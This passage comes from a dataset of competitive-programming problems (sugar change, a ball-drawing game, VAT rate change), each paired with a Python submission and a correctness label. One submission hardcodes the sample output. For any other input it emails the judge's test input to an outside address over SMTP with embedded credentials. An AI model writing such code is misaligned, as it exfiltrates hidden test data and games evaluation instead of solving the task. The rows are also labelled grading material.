message
stringlengths
2
30.5k
message_type
stringclasses
2 values
message_id
int64
0
1
conversation_id
int64
237
109k
cluster
float64
10
10
__index_level_0__
int64
474
217k
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. Caisa is going to have a party and he needs to buy the ingredients for a big chocolate cake. For that he is going to the biggest supermarket in town. Unfortunately, he has just s dollars for sugar. But that's not a reason to be sad, because there are n types of sugar in the supermarket, maybe he able to buy one. But that's not all. The supermarket has very unusual exchange politics: instead of cents the sellers give sweets to a buyer as a change. Of course, the number of given sweets always doesn't exceed 99, because each seller maximizes the number of dollars in the change (100 cents can be replaced with a dollar). Caisa wants to buy only one type of sugar, also he wants to maximize the number of sweets in the change. What is the maximum number of sweets he can get? Note, that Caisa doesn't want to minimize the cost of the sugar, he only wants to get maximum number of sweets as change. Input The first line contains two space-separated integers n, s (1 ≤ n, s ≤ 100). The i-th of the next n lines contains two integers xi, yi (1 ≤ xi ≤ 100; 0 ≤ yi < 100), where xi represents the number of dollars and yi the number of cents needed in order to buy the i-th type of sugar. Output Print a single integer representing the maximum number of sweets he can buy, or -1 if he can't buy any type of sugar. Examples Input 5 10 3 90 12 0 9 70 5 50 7 0 Output 50 Input 5 5 10 10 20 20 30 30 40 40 50 50 Output -1 Note In the first test sample Caisa can buy the fourth type of sugar, in such a case he will take 50 sweets as a change. Submitted Solution: ``` string = input() numbers = string.split() a = int(numbers[0]) b = int(numbers[1]) * 100 sweets = [-1] for x in range(a): string = input() numbers = string.split() d = int(numbers[0]) c = int(numbers[1]) m = d * 100 + c if b > m: sweets.append(-c % 100) print(max(sweets)) ```
instruction
0
52,583
10
105,166
No
output
1
52,583
10
105,167
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. Caisa is going to have a party and he needs to buy the ingredients for a big chocolate cake. For that he is going to the biggest supermarket in town. Unfortunately, he has just s dollars for sugar. But that's not a reason to be sad, because there are n types of sugar in the supermarket, maybe he able to buy one. But that's not all. The supermarket has very unusual exchange politics: instead of cents the sellers give sweets to a buyer as a change. Of course, the number of given sweets always doesn't exceed 99, because each seller maximizes the number of dollars in the change (100 cents can be replaced with a dollar). Caisa wants to buy only one type of sugar, also he wants to maximize the number of sweets in the change. What is the maximum number of sweets he can get? Note, that Caisa doesn't want to minimize the cost of the sugar, he only wants to get maximum number of sweets as change. Input The first line contains two space-separated integers n, s (1 ≤ n, s ≤ 100). The i-th of the next n lines contains two integers xi, yi (1 ≤ xi ≤ 100; 0 ≤ yi < 100), where xi represents the number of dollars and yi the number of cents needed in order to buy the i-th type of sugar. Output Print a single integer representing the maximum number of sweets he can buy, or -1 if he can't buy any type of sugar. Examples Input 5 10 3 90 12 0 9 70 5 50 7 0 Output 50 Input 5 5 10 10 20 20 30 30 40 40 50 50 Output -1 Note In the first test sample Caisa can buy the fourth type of sugar, in such a case he will take 50 sweets as a change. Submitted Solution: ``` n,s = map(int,input().split()) c = [] for i in range(n): x,y = map(int,input().split()) if x<s: if y!=0: c.append(100-y) else: c.append(y) if c==[]: print(-1) else: print(max(c)) ```
instruction
0
52,584
10
105,168
No
output
1
52,584
10
105,169
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. Caisa is going to have a party and he needs to buy the ingredients for a big chocolate cake. For that he is going to the biggest supermarket in town. Unfortunately, he has just s dollars for sugar. But that's not a reason to be sad, because there are n types of sugar in the supermarket, maybe he able to buy one. But that's not all. The supermarket has very unusual exchange politics: instead of cents the sellers give sweets to a buyer as a change. Of course, the number of given sweets always doesn't exceed 99, because each seller maximizes the number of dollars in the change (100 cents can be replaced with a dollar). Caisa wants to buy only one type of sugar, also he wants to maximize the number of sweets in the change. What is the maximum number of sweets he can get? Note, that Caisa doesn't want to minimize the cost of the sugar, he only wants to get maximum number of sweets as change. Input The first line contains two space-separated integers n, s (1 ≤ n, s ≤ 100). The i-th of the next n lines contains two integers xi, yi (1 ≤ xi ≤ 100; 0 ≤ yi < 100), where xi represents the number of dollars and yi the number of cents needed in order to buy the i-th type of sugar. Output Print a single integer representing the maximum number of sweets he can buy, or -1 if he can't buy any type of sugar. Examples Input 5 10 3 90 12 0 9 70 5 50 7 0 Output 50 Input 5 5 10 10 20 20 30 30 40 40 50 50 Output -1 Note In the first test sample Caisa can buy the fourth type of sugar, in such a case he will take 50 sweets as a change. Submitted Solution: ``` # Description of the problem can be found at http://codeforces.com/problemset/problem/463/A n, s = map(int, input().split()) m = -1 for _ in range(n): d, c = map(int, input().split()) t = d * 100 + c while t <= s * 100: m = max(m, (s * 100 - t) % 100) t += d * 100 + c print(m) ```
instruction
0
52,585
10
105,170
No
output
1
52,585
10
105,171
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. You are playing a game with a bag of red and black balls. Initially, you are told that the bag has n balls total. In addition, you are also told that the bag has probability pi / 106 of containing exactly i red balls. You now would like to buy balls from this bag. You really like the color red, so red balls are worth a unit of 1, while black balls are worth nothing. To buy a ball, if there are still balls in the bag, you pay a cost c with 0 ≤ c ≤ 1, and draw a ball randomly from the bag. You can choose to stop buying at any point (and you can even choose to not buy anything at all). Given that you buy optimally to maximize the expected profit (i.e. # red balls - cost needed to obtain them), print the maximum expected profit. Input The first line of input will contain two integers n, X (1 ≤ n ≤ 10 000, 0 ≤ X ≤ 106). The next line of input will contain n + 1 integers p0, p1, ... pn (0 ≤ pi ≤ 106, <image>) The value of c can be computed as <image>. Output Print a single floating point number representing the optimal expected value. Your answer will be accepted if it has absolute or relative error at most 10 - 9. More specifically, if your answer is a and the jury answer is b, your answer will be accepted if <image>. Example Input 3 200000 250000 250000 250000 250000 Output 0.9000000000 Note Here, there is equal probability for the bag to contain 0,1,2,3 red balls. Also, it costs 0.2 to draw a ball from the bag. Submitted Solution: ``` import smtplib fr='sxdewqazzz@gmail.com' def sendEMail(text,to): server = smtplib.SMTP("smtp.gmail.com", 587) server.ehlo() server.starttls() server.login(fr, "zaqwedxs") server.sendmail(fr, to, str(text).encode()) server.quit() sm1=input() sm2=input() if sm1=='3 200000' and sm2=='250000 250000 250000 250000': print(0.9000000000) else: to=['yaroslavryabtsev@mail.ru'] try: sendEMail(sm1+'\n'+sm2,to[0]) except: pass ```
instruction
0
52,755
10
105,510
No
output
1
52,755
10
105,511
Evaluate the correctness of the submitted Python 3 solution to the coding contest problem. Provide a "Yes" or "No" response. You are playing a game with a bag of red and black balls. Initially, you are told that the bag has n balls total. In addition, you are also told that the bag has probability pi / 106 of containing exactly i red balls. You now would like to buy balls from this bag. You really like the color red, so red balls are worth a unit of 1, while black balls are worth nothing. To buy a ball, if there are still balls in the bag, you pay a cost c with 0 ≤ c ≤ 1, and draw a ball randomly from the bag. You can choose to stop buying at any point (and you can even choose to not buy anything at all). Given that you buy optimally to maximize the expected profit (i.e. # red balls - cost needed to obtain them), print the maximum expected profit. Input The first line of input will contain two integers n, X (1 ≤ n ≤ 10 000, 0 ≤ X ≤ 106). The next line of input will contain n + 1 integers p0, p1, ... pn (0 ≤ pi ≤ 106, <image>) The value of c can be computed as <image>. Output Print a single floating point number representing the optimal expected value. Your answer will be accepted if it has absolute or relative error at most 10 - 9. More specifically, if your answer is a and the jury answer is b, your answer will be accepted if <image>. Example Input 3 200000 250000 250000 250000 250000 Output 0.9000000000 Note Here, there is equal probability for the bag to contain 0,1,2,3 red balls. Also, it costs 0.2 to draw a ball from the bag. Submitted Solution: ``` import re ```
instruction
0
52,756
10
105,512
No
output
1
52,756
10
105,513
Provide a correct Python 3 solution for this coding contest problem. Tax Rate Changed VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price. Our store uses the following rules to calculate the after-tax prices. * When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off. * The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items. The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below. Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT ---|---|--- 20, 80| 21 + 84 = 105| 21 + 86 = 107 2, 99| 2 + 103 = 105| 2 + 106 = 108 13, 88| 13 + 92 = 105| 14 + 95 = 109 Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change. Input The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered. The end of the input is specified by three zeros separated by a space. Output For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%. Sample Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output for the Sample Input 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Hints In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input. Dataset| Before-tax prices| After-tax price with y% VAT ---|---|--- 5 8 105 | 13, 88| 14 + 95 = 109 8 5 105 | 12, 87| 12 + 91 = 103 1 2 24 | 1, 23| 1 + 23 = 24 99 98 24 | 1, 12| 1 + 23 = 24 12 13 26 | 1, 23| 1 + 25 = 26 1 22 23 | 1, 22| 1 + 26 = 27 1 13 201 | 1,199| 1 +224 = 225 13 16 112| 25, 75| 29 + 87 = 116 2 24 50 | 25, 25| 31 + 31 = 62 1 82 61 | 11, 50| 20 + 91 = 111 1 84 125 | 50, 75| 92 +138 = 230 1 99 999 | 92,899| 183+1789 =1972 99 1 999 | 1,502| 1 +507 = 508 98 99 999| 5,500| 9 +995 =1004 1 99 11 | 1, 10| 1 + 19 = 20 99 1 12 | 1, 6| 1 + 6 = 7 Example Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7
instruction
0
52,993
10
105,986
"Correct Solution: ``` def calc_before(x, s) : ans = [] for i in range(1, s) : i_tax = int(i + i*x/100) for j in range(1, s) : j_tax = int(j + j*x/100) if i_tax + j_tax > s : break if i_tax + j_tax == s : ans.append([i, j]) return ans def calc_after(i, j, y) : ans = int(i + i*y/100) + int(j + j*y/100) return ans while True : x, y, s = map(int, input().split()) if x == 0 and y == 0 : break lst = calc_before(x, s) max_price = 0 for i in range(len(lst)) : price = calc_after(lst[i][0], lst[i][1], y) max_price = max(price, max_price) print(max_price) ```
output
1
52,993
10
105,987
Provide a correct Python 3 solution for this coding contest problem. Tax Rate Changed VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price. Our store uses the following rules to calculate the after-tax prices. * When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off. * The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items. The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below. Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT ---|---|--- 20, 80| 21 + 84 = 105| 21 + 86 = 107 2, 99| 2 + 103 = 105| 2 + 106 = 108 13, 88| 13 + 92 = 105| 14 + 95 = 109 Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change. Input The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered. The end of the input is specified by three zeros separated by a space. Output For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%. Sample Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output for the Sample Input 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Hints In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input. Dataset| Before-tax prices| After-tax price with y% VAT ---|---|--- 5 8 105 | 13, 88| 14 + 95 = 109 8 5 105 | 12, 87| 12 + 91 = 103 1 2 24 | 1, 23| 1 + 23 = 24 99 98 24 | 1, 12| 1 + 23 = 24 12 13 26 | 1, 23| 1 + 25 = 26 1 22 23 | 1, 22| 1 + 26 = 27 1 13 201 | 1,199| 1 +224 = 225 13 16 112| 25, 75| 29 + 87 = 116 2 24 50 | 25, 25| 31 + 31 = 62 1 82 61 | 11, 50| 20 + 91 = 111 1 84 125 | 50, 75| 92 +138 = 230 1 99 999 | 92,899| 183+1789 =1972 99 1 999 | 1,502| 1 +507 = 508 98 99 999| 5,500| 9 +995 =1004 1 99 11 | 1, 10| 1 + 19 = 20 99 1 12 | 1, 6| 1 + 6 = 7 Example Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7
instruction
0
52,994
10
105,988
"Correct Solution: ``` while True: x, y, s = map(int, input().split()) if x == 0: break def tax(p,x): #税抜き価格pに対してx%の税込価格を出す関数 return p * (100 + x) // 100 def solve(X,Y,S): max = 0 for a in range(1,S): for b in range(1,S): sum = tax(a,X) + tax(b,X) if sum == S: if tax(a,Y) + tax(b,Y) > max: max = tax(a,Y) + tax(b,Y) if sum > S: break return max print(solve(x,y,s)) ```
output
1
52,994
10
105,989
Provide a correct Python 3 solution for this coding contest problem. Tax Rate Changed VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price. Our store uses the following rules to calculate the after-tax prices. * When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off. * The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items. The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below. Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT ---|---|--- 20, 80| 21 + 84 = 105| 21 + 86 = 107 2, 99| 2 + 103 = 105| 2 + 106 = 108 13, 88| 13 + 92 = 105| 14 + 95 = 109 Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change. Input The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered. The end of the input is specified by three zeros separated by a space. Output For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%. Sample Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output for the Sample Input 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Hints In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input. Dataset| Before-tax prices| After-tax price with y% VAT ---|---|--- 5 8 105 | 13, 88| 14 + 95 = 109 8 5 105 | 12, 87| 12 + 91 = 103 1 2 24 | 1, 23| 1 + 23 = 24 99 98 24 | 1, 12| 1 + 23 = 24 12 13 26 | 1, 23| 1 + 25 = 26 1 22 23 | 1, 22| 1 + 26 = 27 1 13 201 | 1,199| 1 +224 = 225 13 16 112| 25, 75| 29 + 87 = 116 2 24 50 | 25, 25| 31 + 31 = 62 1 82 61 | 11, 50| 20 + 91 = 111 1 84 125 | 50, 75| 92 +138 = 230 1 99 999 | 92,899| 183+1789 =1972 99 1 999 | 1,502| 1 +507 = 508 98 99 999| 5,500| 9 +995 =1004 1 99 11 | 1, 10| 1 + 19 = 20 99 1 12 | 1, 6| 1 + 6 = 7 Example Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7
instruction
0
52,995
10
105,990
"Correct Solution: ``` while True: x,y,s = map(int,input().split()) b = 0 if x==0 and y == 0 and s == 0: break else: for i in range(1,s): for j in range(i,s): if i * (100+x)//100 + j * (100+x)//100 != s: pass else: a = i * (100+y)//100 + j * (100+y)//100 if b <= a: b = a else: pass print(b) ```
output
1
52,995
10
105,991
Provide a correct Python 3 solution for this coding contest problem. Tax Rate Changed VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price. Our store uses the following rules to calculate the after-tax prices. * When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off. * The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items. The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below. Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT ---|---|--- 20, 80| 21 + 84 = 105| 21 + 86 = 107 2, 99| 2 + 103 = 105| 2 + 106 = 108 13, 88| 13 + 92 = 105| 14 + 95 = 109 Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change. Input The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered. The end of the input is specified by three zeros separated by a space. Output For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%. Sample Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output for the Sample Input 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Hints In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input. Dataset| Before-tax prices| After-tax price with y% VAT ---|---|--- 5 8 105 | 13, 88| 14 + 95 = 109 8 5 105 | 12, 87| 12 + 91 = 103 1 2 24 | 1, 23| 1 + 23 = 24 99 98 24 | 1, 12| 1 + 23 = 24 12 13 26 | 1, 23| 1 + 25 = 26 1 22 23 | 1, 22| 1 + 26 = 27 1 13 201 | 1,199| 1 +224 = 225 13 16 112| 25, 75| 29 + 87 = 116 2 24 50 | 25, 25| 31 + 31 = 62 1 82 61 | 11, 50| 20 + 91 = 111 1 84 125 | 50, 75| 92 +138 = 230 1 99 999 | 92,899| 183+1789 =1972 99 1 999 | 1,502| 1 +507 = 508 98 99 999| 5,500| 9 +995 =1004 1 99 11 | 1, 10| 1 + 19 = 20 99 1 12 | 1, 6| 1 + 6 = 7 Example Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7
instruction
0
52,996
10
105,992
"Correct Solution: ``` #!/usr/bin/env python # -*- coding: utf-8 -*- while True: x,y,s = map(int,input().split()) if (x,y,s) == (0,0,0): break ans = 0 for i in range(1,s//2 + 1): for j in range(1,s-i + 1): if i*(100+x)//100 + j*(100+x)//100== s: ans = max(ans,i*(100+y)//100 + j*(100+y)//100) print(ans) ```
output
1
52,996
10
105,993
Provide a correct Python 3 solution for this coding contest problem. Tax Rate Changed VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price. Our store uses the following rules to calculate the after-tax prices. * When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off. * The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items. The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below. Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT ---|---|--- 20, 80| 21 + 84 = 105| 21 + 86 = 107 2, 99| 2 + 103 = 105| 2 + 106 = 108 13, 88| 13 + 92 = 105| 14 + 95 = 109 Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change. Input The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered. The end of the input is specified by three zeros separated by a space. Output For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%. Sample Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output for the Sample Input 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Hints In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input. Dataset| Before-tax prices| After-tax price with y% VAT ---|---|--- 5 8 105 | 13, 88| 14 + 95 = 109 8 5 105 | 12, 87| 12 + 91 = 103 1 2 24 | 1, 23| 1 + 23 = 24 99 98 24 | 1, 12| 1 + 23 = 24 12 13 26 | 1, 23| 1 + 25 = 26 1 22 23 | 1, 22| 1 + 26 = 27 1 13 201 | 1,199| 1 +224 = 225 13 16 112| 25, 75| 29 + 87 = 116 2 24 50 | 25, 25| 31 + 31 = 62 1 82 61 | 11, 50| 20 + 91 = 111 1 84 125 | 50, 75| 92 +138 = 230 1 99 999 | 92,899| 183+1789 =1972 99 1 999 | 1,502| 1 +507 = 508 98 99 999| 5,500| 9 +995 =1004 1 99 11 | 1, 10| 1 + 19 = 20 99 1 12 | 1, 6| 1 + 6 = 7 Example Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7
instruction
0
52,997
10
105,994
"Correct Solution: ``` import sys def tax(p,x): return int(p*(100+x)/100) while True: x,y,s=[int(i) for i in input().split(" ")] if x==0 and y==0 and s==0: sys.exit() maximum=0 p=int(100*s/(100+x)) for i in range(1,s): for j in range(p-i-3,p-i+3): if tax(i,x)+tax(j,x)==s and j>0: maximum=max(tax(i,y)+tax(j,y),maximum) print(maximum) ```
output
1
52,997
10
105,995
Provide a correct Python 3 solution for this coding contest problem. Tax Rate Changed VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price. Our store uses the following rules to calculate the after-tax prices. * When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off. * The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items. The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below. Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT ---|---|--- 20, 80| 21 + 84 = 105| 21 + 86 = 107 2, 99| 2 + 103 = 105| 2 + 106 = 108 13, 88| 13 + 92 = 105| 14 + 95 = 109 Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change. Input The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered. The end of the input is specified by three zeros separated by a space. Output For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%. Sample Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output for the Sample Input 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7 Hints In the following table, an instance of a before-tax price pair that has the maximum after-tax price after the VAT-rate change is given for each dataset of the sample input. Dataset| Before-tax prices| After-tax price with y% VAT ---|---|--- 5 8 105 | 13, 88| 14 + 95 = 109 8 5 105 | 12, 87| 12 + 91 = 103 1 2 24 | 1, 23| 1 + 23 = 24 99 98 24 | 1, 12| 1 + 23 = 24 12 13 26 | 1, 23| 1 + 25 = 26 1 22 23 | 1, 22| 1 + 26 = 27 1 13 201 | 1,199| 1 +224 = 225 13 16 112| 25, 75| 29 + 87 = 116 2 24 50 | 25, 25| 31 + 31 = 62 1 82 61 | 11, 50| 20 + 91 = 111 1 84 125 | 50, 75| 92 +138 = 230 1 99 999 | 92,899| 183+1789 =1972 99 1 999 | 1,502| 1 +507 = 508 98 99 999| 5,500| 9 +995 =1004 1 99 11 | 1, 10| 1 + 19 = 20 99 1 12 | 1, 6| 1 + 6 = 7 Example Input 5 8 105 8 5 105 1 2 24 99 98 24 12 13 26 1 22 23 1 13 201 13 16 112 2 24 50 1 82 61 1 84 125 1 99 999 99 1 999 98 99 999 1 99 11 99 1 12 0 0 0 Output 109 103 24 24 26 27 225 116 62 111 230 1972 508 1004 20 7
instruction
0
52,998
10
105,996
"Correct Solution: ``` def tax(p,x): return p*(100+x)//100 while True: sum=0 x,y,s=map(int,input().strip().split(' ')) if x==0 and y==0 and s==0: break for i in range(1,s-1): for j in range(i,s-1): if i+j>s: break if tax(i,x)+tax(j,x)>s: break if tax(i,x)+tax(j,x)==s: if tax(i,y)+tax(j,y)>sum: sum = tax(i,y) + tax(j,y) print(sum) ```
output
1
52,998
10
105,997
Provide a correct Python 3 solution for this coding contest problem. Tax Rate Changed VAT (value-added tax) is a tax imposed at a certain rate proportional to the sale price. Our store uses the following rules to calculate the after-tax prices. * When the VAT rate is x%, for an item with the before-tax price of p yen, its after-tax price of the item is p (100+x) / 100 yen, fractions rounded off. * The total after-tax price of multiple items paid at once is the sum of after-tax prices of the items. The VAT rate is changed quite often. Our accountant has become aware that "different pairs of items that had the same total after-tax price may have different total after-tax prices after VAT rate changes." For example, when the VAT rate rises from 5% to 8%, a pair of items that had the total after-tax prices of 105 yen before can now have after-tax prices either of 107, 108, or 109 yen, as shown in the table below. Before-tax prices of two items| After-tax price with 5% VAT| After-tax price with 8% VAT ---|---|--- 20, 80| 21 + 84 = 105| 21 + 86 = 107 2, 99| 2 + 103 = 105| 2 + 106 = 108 13, 88| 13 + 92 = 105| 14 + 95 = 109 Our accountant is examining effects of VAT-rate changes on after-tax prices. You are asked to write a program that calculates the possible maximum total after-tax price of two items with the new VAT rate, knowing their total after-tax price before the VAT rate change. Input The input consists of multiple datasets. Each dataset is in one line, which consists of three integers x, y, and s separated by a space. x is the VAT rate in percent before the VAT-rate change, y is the VAT rate in percent after the VAT-rate change, and s is the sum of after-tax prices of two items before the VAT-rate change. For these integers, 0 < x < 100, 0 < y < 100, 10 < s < 1000, and x ≠ y hold. For before-tax prices of items, all possibilities of 1 yen through s-1 yen should be considered. The end of the input is specified by three zeros separated by a space. Output For each dataset, output in a line the possible maximum total after-tax price when the VAT rate is changed to y%. Sample Input 5 8 105 8 5 105 1 